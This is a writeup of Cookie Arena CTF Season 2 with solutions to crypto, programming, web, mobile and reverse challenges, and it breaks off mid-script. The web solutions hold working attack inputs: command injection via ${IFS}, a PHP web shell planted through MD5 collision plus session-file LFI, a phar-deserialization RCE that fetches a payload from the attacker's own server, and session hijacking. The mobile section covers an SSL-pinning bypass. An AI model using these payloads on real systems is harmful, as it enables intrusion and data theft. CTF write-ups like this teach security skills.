Cookie Arena CTF Season 2 Writeup
Cookie Arena CTF Season 2 writeup — 26 challenges across Crypto, Web, Reverse, Mobile, and Forensic.
Crypto
Basic Operator
Description
Use mathematical knowledge and algebraic structures to decrypt the flag.
Link Download: https://drive.google.com/file/d/12t2NfEJISC_TSI0FFjqiHDEQmlGEH195/view?usp=drive_link (pass: cookiehanhoan)
Format FLAG: CHH{XXX}
Solution
Downloading the challenge gives a Python file:
from Crypto.Util import number
def padding_pkcs7(data,block_size=4): tmp = len(data) + (block_size - len(data) % block_size) return data.ljust(tmp,bytes([block_size-(len(data)%block_size)]))
def split_block(data,block_size): return list(int.from_bytes(data[i:i+block_size],'little') for i in range(0,len(data),block_size))
def plus_func(data,shift): return (data+shift)&0xffffffff
def mul_func(data,mul): return (data*mul)&0xffffffff
def xor_shift_right_func(data,bit_loc): return (data^(data>>bit_loc))&0xffffffff
def pow_func(data,e,p): return pow(data,e,p)
def exp_func(data,base,p): return pow(base,data,p)
def ecb_mode(data): return list(pow_func(exp_func(xor_shift_right_func(mul_func(plus_func(block,3442055609),2898124289),1),e,p),e,p) for block in split_block(padding_pkcs7(data,4),4))
if __name__=='__main__': p = 1341161101353773850779 e = 2 mess = b'CHH{CENSORED}' cipher_flag = ecb_mode(mess) print(cipher_flag)Reverse each function (run in Sage):
from Crypto.Util.Padding import unpad
def rev_exp_func(rev, base, p): R = Zmod(p) data = discrete_log(R(rev), R(base)) return Integer(data)
def rev_pow_func1(rev, e, p): R = Zmod(p) return int(p - R(rev).nth_root(2))
def rev_pow_func2(rev, e, p): R = Zmod(p) return int(R(rev).nth_root(2))
def rev_shift_right_func(n): n = format(n, "032b") # print(n) b = [0] for i in range(32): b.append(b[i] ^^ int(n[i])) # assert len(b) == 32 return int("".join([str(i) for i in b[1:]]) , 2)
def rev_mul_func(rev, mul): R = Zmod(0xffffffff + 1) return int(R(rev)/ R(mul))
def rev_plus_func(rev, shift): R = Zmod(0xffffffff + 1) return int(R(rev)- R(shift))
def unpad_pksc7(padding): return unpad(padding, 4)
def mix_block(list_block): return [int.to_bytes(i, 4, "little") for i in list_block]
def decrypt1(cipher_block): p = 1341161101353773850779 e = 2
return mix_block([rev_plus_func(rev_mul_func(rev_shift_right_func(rev_exp_func(rev_pow_func1(block, e, p), e, p)), 2898124289), 3442055609) for block in cipher_block])
def decrypt2(cipher_block): p = 1341161101353773850779 e = 2
return mix_block([rev_plus_func(rev_mul_func(rev_shift_right_func(rev_exp_func(rev_pow_func2(block, e, p), e, p)), 2898124289), 3442055609) for block in cipher_block])
Cipher = [752589857254588976778, 854606763225554935934, 102518422244000685572, 779286449062901931327, 424602910997772742508, 1194307203769437983433, 501056821915021871618, 691835640758326884371, 778501969928317687301, 1260460302610253211574, 833211399330573153864, 223847974292916916557]
a = decrypt1(Cipher)b = decrypt2(Cipher)
print(b[0] + b[1] + a[2] + b[3] + a[4] + a[5] + b[6] + a[7] + a[8] + b[9] + a[10] + b[11])Two decrypt variants exist because of the pow function — the equation has two distinct roots.
Flag: CHH{w3lc0m3_70_7h3_m47h_w0rld(1_h4t3_1t_th3r3)}
Knapsack Ls
Description
The encryption system based on the Knapsack (subset-sum) problem is considered obsolete, but that doesn’t mean it’s trivial to break. Based on the Knapsack encryption implementation in knapsack.py, decrypt the cipher to recover the flag.
Link Download: https://drive.google.com/file/d/1YF328FF0rMWPw8IFa_jMzXytiM9MqVg9/view?usp=drive_link (pass: cookiehanhoan)
Solution
The integer Knapsack problem can be solved with LLL (run in Sage):
def convert_bin_bytes(data:list, bit_size:int)->bytes:# little endian data = sum(data[i]<<i for i in range(bit_size)) return data.to_bytes(bit_size//8,'little')
def solve(A, a): n = len(a) list_mat = [] for i in range(0,n): v = [0,] * i + [2,] + [0,] * (n - 1 - i) + [a[i],] list_mat.append(v) v = [1,] * n + [A,] list_mat.append(v)
B = matrix(ZZ, list_mat) B = B.LLL()
solution = [] for v in B: if v[n] == 0: x = [] for i in range(n): if v[i] != 1 and v[i] != -1: break x.append((v[i]+1) // 2)
if len(x) == n: t = 0 for i in range(0,n): t += x[i] * a[i] if t == A: solution.append(x)
t = 0 for i in range(0, n): t += (1-x[i]) * a[i] x[i] = 1 - x[i] if t == A: solution.append(x)
return solution[0]
a = [43840113305581131795279797789093610869, 25671162443490210031784763050767207532, 6001769265119430614631782649952643356, 73521673497713025029239337461919881111, 86207439010568594314162414481970962317, 47714522703176373455115652188956101728, 39013785450660799339071487833855117053, 99720328779553130323261570624699472274, 56801730014082032103764648702913670605, 56875947939072280053341910569703290481, 6777018736332231356360273109122323983, 64282820255623342830695520268826453473, 21510177863483107761513368858017158458, 88999212996376205373411604716481814294, 21167180433710172715561410769658980338, 53988354426206626048276676648717671789, 82454574554107632872906561271793885103, 34238518652709304551635369779340095136, 5081213770246109310854315030563596017, 35676546839591659980876620994236683080, 61804490028276149551813742275879895343, 47868484398459384397990013507113194128, 79141732458875716511767486956076635010, 89768484644472604982812438158836379513, 108665660470366488973920414914088436457, 42013527007997056247679460159005166736, 59516238668397055079712758172437350204, 12247246885302547631808898114678421540, 68119702452821826703846268698978422087, 46477361269068664125259653428529967798, 104192935540102711457274510496328770849, 39480897318804270587289396967546023715]cipher = b'\xe7\x81W\x8eA0\xb0\x92tM\xc9\x06\x07~$\xef\x01\x0c\x16\x8cP\x11l\x81\xe8\xa7\xa3\x0e\xec\x8a~\xe9Z\x02\xb28\x92z^\x16m\xb5\x80o\xf6\xd9\xec@\xc0\x85\x02\xdbvo\x8bB\xb3\xa2\xe4\x00\x01\xc2\xcaL\xdb\x8a\t\x03\xaf\xa528\xc8\xa1\xf6\x05u\xeb\xc0\xcbc\x06\xd8 \x02\xca@E&\xf0d4A\x85\x04\x84p~\xa5\t\xfe\x02\xd9\xa8\xcbp\xb9\xe8\x14\x04\x9a\xb9\x16#\x0b\xb8\x98\x90\x02\x8c\xe2\xf1\x8a\xf1\xe3Z\xe4\xff\xb4"\xeb\x86k\x97\x1b\x02IsN%\xd5\xect\x96\xb3\xe7\xf5Mw\xe6S\xbd\x02\xb7\xc4\xe9\xa6\x019q\xc9\xdd\xaf\xad9bG\xd8\x1e\x02\x18{\xc6q\xbe=\x97&\x18qj\xed\xfd\xb8\x94\xfd\x01'def decrypt(block, public_key): A = int.from_bytes(block, "little") return convert_bin_bytes([int(i) for i in solve(A, public_key)], 32)flag = b""for i in range(0, len(cipher), 17): flag += decrypt(cipher[i:i+17], a)print(flag)Flag: CTF{kn4p54ck_15_br0k3n_th3r3f0r3_e4sy!!!}
Rubic Cipher
Description
The flag has been shuffled using an algorithm based on Rubik’s cube rotation mechanics. Study and apply this mechanism to recover the flag.
Link Download: https://drive.google.com/file/d/1MMTfyOtnTpIb59uyleONykER_iidt5L7/view?usp=drive_link (pass: cookiehanhoan)
Format FLAG: CHH{XXX}
Solution
Reconstruct the Rubik’s encryption algorithm using numpy:
import numpy as np
class Cube(object): dimensions = 3
def __init__(self, block): assert len(block) == 54 self.U = np.array([list(block[i:i+3]) for i in range(0,9,3)], dtype=np.dtype('b')) self.L = np.array([list(block[i+9:i+12]) for i in range(0,33,12)], dtype=np.dtype('b')) self.F = np.array([list(block[i+12:i+15]) for i in range(0,33,12)], dtype=np.dtype('b')) self.R = np.array([list(block[i+15:i+18]) for i in range(0,33,12)], dtype=np.dtype('b')) self.B = np.array([list(block[i+18:i+21]) for i in range(0,33,12)], dtype=np.dtype('b')) self.D = np.array([list(block[i:i+3]) for i in range(45,54,3)], dtype=np.dtype('b'))
def rot_x(self, prime=False): '''Rotates the entire cube on R face. Anticlockwise rotation is simply clockwise rotation * 3 ''' for i in range(3 if prime else 1): bufU = self.U self.U = self.F self.F = self.D self.D = self.B[::-1,::-1] self.B = bufU[::-1,::-1] self.R = np.rot90(self.R, k=-1) self.L = np.rot90(self.L, k=1)
def rot_y(self, prime=False): '''Rotates the entire cube on U face. Anticlockwise rotation is simply clockwise rotation * 3 ''' for i in range(3 if prime else 1): bufF = self.F self.F = self.R self.R = self.B self.B = self.L self.L = bufF self.U = np.rot90(self.U, k=-1) self.D = np.rot90(self.D, k=1)
def rot_F(self, prime=False): '''Rotates face F Anticlockwise rotation is simply clockwise rotation * 3 ''' self.F = np.rot90(self.F, k=1 if prime else -1)
for i in range(3 if prime else 1): buf = self.L[:, -1].copy() self.L[:, -1] = self.D[0] self.D[0] = self.R[:, 0][::-1] self.R[:, 0] = self.U[-1] self.U[-1] = buf[::-1]
def rot_B(self, prime=False): # B = 2y F 2y # B' = 2y F' 2y self.rot_y() self.rot_y() self.rot_F(prime) self.rot_y() self.rot_y()
def rot_L(self, prime=False): # L = y' F y # L'= y' F' y self.rot_y(True) self.rot_F(prime) self.rot_y()
def rot_R(self, prime=False): # R = y F y' # R'= y F' y' self.rot_y() self.rot_F(prime) self.rot_y(True)
def rot_U(self, prime=False): # U = x' F x # U' = x' F' x self.rot_x(True) self.rot_F(prime) self.rot_x()
def rot_D(self, prime=False): # D = x F x' # D' = x F' x' self.rot_x() self.rot_F(prime) self.rot_x(True)
def apply(self, move, prime=False): getattr(self, "rot_"+move[0])(prime)
def scramble(self, scramble): # Take each move and apply it, if it contains a'2', do it again for move in scramble.split(' '): m = move.replace("2", "") self.apply(m, "'" in move) if '2' in move: self.apply(m, "'" in move)
def unscramble(self, scramble): # Take the reversed move list, if no '2' in move, do the reverse, other for move in scramble.split(' ')[::-1]: m = move.replace("2", "") self.apply(m, not "'" in move) if '2' in move: self.apply(m, not "'" in move)
def get_block_bytes(self): out = b"".join(self.U.flatten()) out +=b"".join(np.array(list(zip(self.L,self.F,self.R,self.B))).flatten()) out += b"".join(self.D.flatten()) return out
def __str__(self): indent = ' ' * self.dimensions + ' ' * (self.dimensions-1) + '\t' out = indent out += '\n{i}'.format(i=indent).join([' '.join([str(tile) for tile in row]) for row in self.U]) + '\n\n' out += "\n".join(["\t".join([" ".join([str(tile) for tile in r]) for r in x]) for x in np.array(list(zip(self.L,self.F,self.R,self.B)))]) out += "\n\n" out += indent out += '\n{i}'.format(i=indent).join([' '.join([str(tile) for tile in row]) for row in self.D]) + '\n' return out
def byte_enc_block(block, key): c = Cube(block) c.scramble(key) return c.get_block_bytes()
def byte_dec_block(block, key): c = Cube(block) c.unscramble(key) return c.get_block_bytes()
def xor(block, key): return bytes([b ^ k for b, k in zip(block, key)])
iv = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuv"key ="D R2 F2 D B2 D2 R2 B2 D L2 D' R D B L2 B' L' R' B' F2 R2 D R2 B2 R2 D L2 D2 F2 R2 F' D' B2 D' B U B' L R' D'"
cipher = b';V".24$9\x0cw`\x02 \x16\x0b9j:2F\x128-x?\x05C\x1b3$\nShX*W\x01,\x025\x01\x0e\x17\x17\x01\x1c>X\x02C=\x00<\x1a0\x18>\x06\x00JE\x1e\x00\x16X\x0b \x0c\x1d\x08\r9\x0b0\x12q\x1fRS7\x0f3\x01tfa)\x07\x0ee3\n(<\x163j\x0b0.Z%%q8j$2'
# Slight guess here — enc instead of dec works :Dc1 = byte_enc_block(cipher[0:54], key)
c2 = byte_enc_block(cipher[54:108], key)
print(xor(c1, iv) + xor(c2, cipher[0:54]))Flag: CHH{wh0_kn3w_rub1k_puzzl3_c4n_b3_u53d_f0r_3ncryp710n_t00?}
RSA Percent Leak
Description
The RSA encryption system accidentally leaked the relationship between p and q (expressed as l). Use l to reconstruct p, q and recover the flag.
Link Download: https://drive.google.com/file/d/1jZsn98o-Eb7uWnuzfsSUmoK5VW4iJ0vf/view?usp=drive_link (pass: cookiehanhoan)
Solution
Observation:
((p & q) * (p ^ q) | 0x1337) % 2**k == (((p % 2**k) & (q % 2**k)) * ((p % 2**k) ^ (q % 2**k)) | 0x1337) % 2**k == l % 2**k
((p % 2**k) * (q % 2**k)) % 2**k == N % 2**kWe can therefore recover the bits of p and q bit-by-bit using backtracking:
from Crypto.Util.number import long_to_bytesc = 0x56b894058c86db8641f2586a94794662520de144dbfbd0d3ad36a50b81b6d70a6a1d6f3e7faf2b37b1c53127e5684d235191664741ff2f0516c3d7596f3995abdd16a171be43f5660c9d4620db64f2430ae8c314f5576d912aae2e643517466b3fb409b4589b4726f12f3c376de45960dafdb658279b232118e6a9b1383ef600cdef465c499d330776c89cc5e0d02ec97a0614bc1d557f4e53595772bf02310105fe0ff8e27ba0376500990e6e8b2eb318bfa20f46b62c8841e8f97e8b649a2b18e4d6dc1bc2184184288559f8e43043bbff6f27479aa7846dac4f1d9e62ee3167fe511a6606f4ff69fb61bb4d2610913bc85e57144b0fe58cfca8e8b2ba996en = 0xa7643b16219097b5cc47af0acfbb208b2717aa2c2dbdbd37a3e6f6f40ae12b77e8d129eb672d660b6e146682a32d70c01f8e481b90b5ec710dabb57e8de2661fd49ec9d3a23d159bd5fb397047a1e053bbbf579d996e7fe7af56332753b816f4a5353966bfe50b7e0d95d9f235f5edfd59e23d3a7523cd25ea6e34a6f16f2d14b21c43f3bb7b68a8b2237a77fb6cb4cf3ba3987c478a39391b0f42a0d0230846a054599fea4effe27fcd9b514f711831b38f0288db256deef967f3d3d20b9e0071027b99cae1b0a3bd452efd654d1a4a431291ba8a99743d44a35afcb1db267a8c63574ac1ef32c8e71de473cc98aea927e3de0daf5819600818edac66b74b9bl = 0x168b7f77f276e7f9f55df25d096cd5abbf632f22eae79ba72bad2d60ebccb03c6b614be2c682d58655a335277afa171fb085b40519311be7e74d26d37a066d9487ce511ad72e54779225534ca37c2714e51aca763676590dc2fb1e70c66dc8113704e168d46ab91fd8cdc77738314be6e1b20fc5664b747dddc94ff17f2fc7c80e75bcdc1c3618c54144070f13e698b31ff3d601559a1dafb62904c1079d7ba69ec5d024068dd3b2e6c2d71e4a81589734a5c6e4d4a05335edaf42e9aacf339f930ffb909fa100398eff29a61cb2e58eeff756b5a7b101d69f1e11fa989431bc175e0d59264da400f2d63dfaf1b2ba27ee9698a6a9a83bfe57aab0c069089fffdef b2d(x): return int(x, 2)
def d2b(x): return format(x,"b")
def check(p, q, k): p = b2d(p) q = b2d(q) return ((((p % 2**k) & (q % 2**k)) * ((p % 2**k) ^ (q % 2**k)) | 0x1337) % 2**k == l % 2**k) and ((p % 2**k) * (q % 2**k)) % 2**k == n % 2**k
sol = []
def Try(p, q, k): global n if b2d(p) * b2d(q) >= n: if b2d(p) * b2d(q) == n: print(f"p =", b2d(p)) print(f"q =", b2d(q)) sol.append([b2d(p),b2d(q)]) # Terminate backtracking n = 0
else: for i in ("0", "1"): for j in ("0", "1"): p_ = i + p q_ = j + q if check(p_, q_, k + 1): Try(p_, q_, k + 1)
N = nTry("1", "1", 1)p, q = sol[0]phi = (p-1) * (q-1)e = 65537d = pow(e, -1, phi)m = long_to_bytes(pow(c, d, N))
print(m)Flag: CHH{pl3453_pr0v1d3_4_d3t41ll3d_wr1t3up_b3c4us3_7h1s_k1nd_0f_a77ack_1s_r4th3r_r4r3}
Programming
Decrypt
Description
Tab is a very math-savvy student. After taking Cookie Arena’s “Security Awareness” course, he decided to apply mathematical techniques to encrypt his passwords. The password is a string S of length n (characters indexed 1 to n from left to right). Encryption proceeds as follows:
Iterate over all integer divisors of n in decreasing order from n to 1. For each divisor d, reverse the substring S[1…d] (the first d characters). After this procedure, the result is the encrypted password.
Example: Password cookiearenactf, length 14. Divisors of 14 in descending order: 14, 7, 2, 1.
d=14: reverse first 14 chars → cookiearenactf → ftcaneraeikoocd=7: reverse first 7 chars → ftcaneraeikooc → renactfaeikoocd=2: reverse first 2 chars → renactfaeikooc → ernactfaeikoocd=1: reverse first 1 char → no change → ernactfaeikoocTab saves the encrypted password. Help him recover the original.
Input: First line: integer n (1≤n≤1000), the password length. Second line: string of length n (lowercase Latin letters [a-z]), the encrypted password.
Output: Print the original password of length n. The original password is guaranteed to be unique.
Solution
def find_divisors(n): divisors = [] for i in range(n, 0, -1): if n % i == 0: divisors.append(i) return divisors
def reverse_substring(s, d): return s[d-1::-1] + s[d:]
n = int(input())encrypted_password = input()divisors = find_divisors(n)for d in divisors: encrypted_password = reverse_substring(encrypted_password, d)print(encrypted_password)Identity Security
Description
Cookie Arena CTF Season II was a huge success with thousands of participants. Beyond the official top-10 prizes, the organizers also decided to send small physical gifts to high-scoring participants to encourage them in future contests. To announce the list, they use the participants’ usernames. However, usernames in the Cookie Arena system are personal emails or phone numbers — publishing these directly is prohibited. The organizers mask most characters, leaving just enough for participants to recognize themselves.
Masking rules:
Phone number: show first 2 digits and last 3 digits; mask the rest with '*'.Email: keep first 2 and last 3 chars of the username plus the full domain; mask the rest. If username length ≤ 7, keep only first and last character of username. Email format is always username@domain.Help the organizers mask participant identities!
Input: First line: integer N (1≤N≤1000), number of entries. Then N lines, each a phone number (9–11 digits) or an email address (contains exactly one ’@’).
Output: N lines with masked entries.
Solution
N = int(input())for _ in range(N): s = input().strip() if s.isdigit(): print(s[:2] + '*'*(len(s)-5) + s[-3:]) else: username, domain = s.split('@') if len(username) <= 7: print(username[0] + '*'*(len(username)-2) + username[-1] + '@' + domain) else: print(username[:2] + '*'*(len(username)-5) + username[-3:] + '@' + domain)Web
Be Positive
Description
Summary: Given a web app, log in with alice
or bob.Solution
This is a money-transfer system. The challenge name hints at negative-amount transfers.
Log in as Alice and modify the Burp Suite intercept to use a negative amount:
POST /?action=transfer HTTP/1.1Host: be-positive-e048f4d8.dailycookie.cloudContent-Length: 26...Connection: close
amount=-3000&recipient=bobFlag: CHH{BE_cAr3fUL_WitH_NE6ATIV3_NumBeR_3e87da18c5f0302fa2c467a9d5cd18f7}
Slow down
Description
Summary: Given a web app, log in with alice
or bob.Solution
Similar structure to Be Positive, but negative numbers are now filtered.
Notice that invalid transfers (amount < 0) are rejected quickly while valid transfers respond slowly. The challenge name suggests Race Condition.
Log in to Alice’s account on two devices simultaneously and transfer 1499 to Bob from both at the same time → Done ~~
Youtube Downloader
Description
Youtube Downloader is a tool for downloading videos from Youtube for free. If you hack this app, you’ll know how these sites actually work.
Solution
Testing with a URL, we see the youtube-dl command in the response — obvious command injection opportunity.
However, spaces are filtered in the URL, so replace spaces with ${IFS}:
Payload:
1. https://www.youtube.com/watch?v=fyf;ls${IFS}-a${IFS}/2. https://www.youtube.com/watch?v=fyf;cat${IFS}/flag.txt
Flag: CHH{Ea5y_cOmmaND_inj3c7Ion_2916ac0127955a1d9953fb2cc712d33d}
Pass Code
Description
You cannot crack this extremely secure Pass Code.
Solution
Use https://deobfuscate.relative.im to deobfuscate the JavaScript.
Open ”./flag.php” — it reveals the passcode is the decrypt key.
Enter “bánh quy chấm sữa” to get the flag.
Flag: CHH{jAvAscRIP7_o8FuSCaTe_64acf3ed9f93904f6205709b47c8be28}
Magic Hash
Description
Examine the login function — it contains a serious vulnerability. The FLAG is stored in /flag.txt; find a way to read it.
Solution
Log in with password = 34250003024812.
That gives sha256 = 0e46289032038065916139621039085883773413820991920706299695051332.
Magically, "0e46289032038065916139621039085883773413820991920706299695051332" == "0" in PHP (magic hash / type juggling).
We reach the upload page and upload a simple shell — reference shell at Link.
Flag: CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_8f9e3b92113749568a033b1a5fb20a4e}
Magic Login Harder
Description Examine the login function — it contains a serious vulnerability. The FLAG is stored in /flagXXX.txt; find a way to read it.
Challenge Download: https://drive.google.com/file/d/1ZSmsdcJ3iFR2KH4aSBQ9z4xlY-z8o-UH/view?usp=drive_link (pass: cookiehanhoan)
Solution
Downloading the source code, we spot an md5 collision vulnerability:
if(isset($_POST["submit"])){ $username = base64_decode($_POST['username']); $password = base64_decode($_POST['password']);
if(($username == $password)){ echo 'Username and password are not the same'; } else if((md5($username)===md5($password))){ $_SESSION['username'] = $username; header('Location: admin.php?file=1.txt'); } else { echo 'Username and password are wrong'; }}Observation
import hashlib
x = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"y = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"x = bytes.fromhex(x)y = bytes.fromhex(y)
z = b"Any data"assert hashlib.md5(x+z).hexdigest() == hashlib.md5(y+z).hexdigest()So we can log in with any username/password combination.
Sang trang admin
header('Content-Type: text/html; charset=utf-8');session_start();if($_SESSION['username'] != null){if(isset($_GET['file'])){ $file = $_GET['file']; include($file);}}else{ die("Only admin can use this");}This is clearly an LFI bug. Since we don’t know the flag filename, we need LFI2RCE.
LFI2RCE via PHP_SESSION
Running a local Docker instance reveals the session directory is /tmp.
Test with /admin.php?file=/tmp/sess_fa76434b7b0aa122ef4b03aa9f8a3e99:
The session file includes the username field — what if we set username = ... <?php something ?>?
We just need to change the z value:
import hashlibfrom base64 import b64encode as b
x = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2"y = "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2"x = bytes.fromhex(x)y = bytes.fromhex(y)
z = b"<?php system($_GET['cmd']);?>"assert hashlib.md5(x+z).hexdigest() == hashlib.md5(y+z).hexdigest()
print(b(x+z))print(b(y+z))Payload /admin.php?file=/tmp/sess_5d7fa605ef28d522f0f9a849282638f0&cmd=ls%20/
Continue: /admin.php?file=/tmp/sess_5d7fa605ef28d522f0f9a849282638f0&cmd=cat%20/flagGZXLf.txt
Flag: CHH{7yPE_jU66lin9_hArdEr_df929768446acbfd50193567fa46ecdc}
Suck it
Description
You have infiltrated the chat channel of a secret organization. The admin is a shady character — he smuggles weapons and worse. But he always whispers secrets to his lover. Help me find that secret. I’ll provide you with the site’s source code.
Download challenge: https://drive.google.com/file/d/17LcN4BLMjSyWfT7BofysYjMio4OY2EdO/view?usp=drive_link (pass: cookiehanhoan)
Solution
Key observation: after a forced disconnect, the server sends back the sessionID of the disconnected user.
Enable Burp Suite intercept and send payload: 42["force disconnect","ADMIN","574a94b04f303f5663e833b883cd2b23"]
We receive the admin’s sessionID.
Replace the sessionID in local storage.
Now we’re admin — time to message the girlfriend.
Flag: CHH{H4ve_y0u_re4d_th3_m3ssage_babef0fdf5e83d09a24e9b60c421c3c9}
Video Extractor
Description
Video Link Extractor retrieves metadata from online video services like YouTube, Vimeo. It has a serious vulnerability — find it and exploit it to read the FLAG stored in flag.php.
Download challenge: https://drive.google.com/file/d/1jG_gLa9W_qcxhrAokVAbLgkEd2yS-uEX/view?usp=drive_link
Solution
Downloading the challenge and checking utils.php, we can abuse log_error to write files:
public function log_error($e){ $_error_file = "/tmp/".time().".log"; error_log($e, 3, $_error_file);}
public function __wakeup(){ try { // check if format file is exists? include $this->_file; } catch (Exception $e) { throw $e; }}
GET /index.php?mode=extract&host=<?=`tail+flag.php`?> HTTP/2The time() function returns the current timestamp, so the filename is easy to predict.
Current timestamp: 1688985073.
The __wakeup magic method includes the file at $this->_file.
In the local case, we can concatenate with id, exploit the redirect mode, craft a payload and point it to a public server:
Request to get the flag:
GET /?mode=extract&id=%3fmode%3dredirect%26url%3dhttp%3a//your_ip/payload.txt&host=local HTTP/2Flag: CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_e7e2e2fdbb91037b93a792695fdb8cff}
Mobile
Cat Me
Description Ordinary users see nothing. But hackers always find another way. The app runs on Android API 24+.
Download challenge: https://drive.google.com/file/d/1Uq8wLlBl3glN5nbHMW5tkiP5IDrZlJ0D/view?usp=drive_link (pass: cookiehanhoan)
Solution
Use jadx and search for the string “flag” (vibes-based forensics ._.)
We find this code:
Concatenate the pieces and we have the real flag.
Flag: CHH{M0re_1n7ER3STIN9_7h1N6_1N_logcat}
Pinned Cookie
Description
A highly secure connection between user and server has been established. An attacker cannot intercept the traffic. The app runs on Android API 24+.
Download challenge: https://drive.google.com/file/d/1oagLC-ryf9leAl4LrD9zVETTB6cPZDk_/view?usp=drive_link (pass: cookiehanhoan)
Solution
Running the APK gives us a login screen.
Back in jadx, we spot MainActivity — inspect it first:
We can guess the credentials are admin:sTroN6PaSswORD, but the app returns ‘cannot connect to server’.
We need to capture HTTPS traffic in Burp Suite, but SSL pinning blocks this. We’ll use SSL Pinning Bypass.
See this guide for setting up a Frida-based proxy.
Note: not every Frida script works well. Recommended script (tested, bypasses 5/6 SSL pinning demos): https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/
And we get the flag.
Flag: CHH{yoU_c4N_bYP45S_sSL_PInninG}
Reverse
Pyreverse
Description
While analyzing game-automation tools, we encountered a common technique for packaging programs. Identify the technique, reverse-engineer it, and extract the hidden FLAG inside.
Download Challenge https://drive.google.com/file/d/18g2ZqlfYS4pfEZbAxJD1_9wIVp3KS1A-/view?usp=drive_link (pass: cookiehanhoan)
Solution
The exe is packed with pyinstaller, so we can use pydumpck to unpack the original .py file.
Inspecting pyreverser.pyc.cdc.py in the output folder, we see the flag is base64-encoded in the main function.
import base64
def reverse_string(s): return s[::-1]
def scramble_flag(flag): scrambled = '' for i, char in enumerate(flag): if i % 2 == 0: scrambled += chr(ord(char) + 1) continue scrambled += chr(ord(char) - 1) return scrambled
def main(): print(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')) secret_flag = scramble_flag(reverse_string(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')).decode()) print('Welcome to PyReverser!') print('Please enter a word or phrase:') user_input = input() generated_value = scramble_flag(reverse_string(user_input.upper())) print('Generated value:', generated_value) print('Can you find the hidden flag?') reversed_flag = reverse_string(secret_flag) print('Reversed flag:', reversed_flag)
if __name__ == '__main__': main()Decode Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ== to get the flag.
Flag: CHH{python2Exi_Reverse_ENginering}
Jump
Description
This challenge simulates a software license-key generation algorithm. Run the program and reverse-engineer it to find the hidden FLAG.
Download challenge: https://drive.google.com/file/d/1nCOaD5emAyAqQmJrhB8hlu4UdCbBmRuH/view?usp=drive_link (pass: cookiehanhoan)
Solution
Open IDA and inspect the main function:
Analysis: the function takes a function pointer as argument. Using IDA’s debugger and entering the address of _flag:
Flag: CHH{JUMP_T0_TH3_M00N}
Rev1
Description
This challenge simulates a software license-key generation algorithm. Run the program and reverse-engineer it to find the hidden FLAG.
Download challenge: https://drive.google.com/file/d/1rzlX1TX4J8XDBuSUj3s8EtErXCOeKKVj/view?usp=sharing (pass: cookiehanhoan)
Solution
Running the file, we see a form with three buttons: Exit, Check, and About.
Load the file into IDA. We find WinMain — analyze the logic of DialogFunc:
After debugging, we see the password is checked via shellcode. Dumping and analyzing the assembly reveals it’s matrix multiplication:
xor ecx, ecxmovzx eax, byte ptr [edi+ecx]imul eax, 6Ehinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 1C3hadd eax, edxinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 348hadd eax, edxinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 1F8hadd eax, edxinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 357hsub eax, edxinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 46hadd eax, edxinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 16Fhsub eax, edxinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 2FEhsub eax, edxinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 17Ahadd eax, edxinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 15Ahadd eax, edxinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 326hsub eax, edxinc ecxmovzx edx, byte ptr [edi+ecx]imul edx, 190hsub eax, edxinc ecx
mov eax, ecxneg eaxdec eaxsub edi, eaxdec eaxmov dword ptr [esp+8], 0call $+5pop ecxadd ecx, 68hmov [esp+4], ecxmov ebx, eaxjmp short loc_770AB8
............------------------------------------------------------------------------loc_770AA5: E XREF: jmov ecx, [esp+8]add ecx, 1mov [esp+8], ecxcmp ecx, 8D42hjnb short loc_770ADEloc_770AB8: E XREF: jmov eax, [esp+4]add eax, [esp+8]movsx ecx, byte ptr [eax]mov eax, [esp+8]cdqidiv ebxmovsx edx, byte ptr [edi+edx]xor ecx, edxmov eax, [esp+8]mov edx, [esp+4]add edx, eaxmov [edx], cljmp short loc_770AA5------------------------------------------------------------------------loc_770ADE: E XREF: jmov eax, large fs:30hmov eax, [eax+8]add eax, 1EC0hmov ebx, [esp+4]push ebxcall eaxpop ebxadd esp, 8mov eax, 1leaveretn------------------------------------------------------------------------loc_770AFE: E XREF: j ..xor eax, eaxretnExtract the matrix and vector values using Python:
import retemp = []
def find_hex(line):
res = "" for c in line: if (c >= '0' and c <= '9') or (c >= 'A' and c <= 'F'): res += c return res
val = []C = []with open('asm.txt') as f:
lines = f.readlines() line_arr = [] a = 0 pattern = r'\b[0-9A-Fa-f]+h\b'
for line in lines: line_arr.append(line)
for i in range(len(line_arr)): if 'imul' in line_arr[i]: tmp = line_arr[i][12:]
a = int(find_hex(line_arr[i]), 16) if 'sub' in line_arr[i + 1]: val.append(a * -1) else: val.append(a)
if 'cmp' in line_arr[i]: a = int(find_hex(line_arr[i]), 16) C.append(a)
C.remove(C[len(C) - 1])
mat = [[]] for i in range(0, 14): mat.append(val[14*i: 14*i + 14])
mat.remove(mat[0]) print("B: ") print(mat) print("C: ") print(C)Assuming our input is vector A, the check is simply A*B = C. Once we have B and C, solve and print the password:
import numpy as np
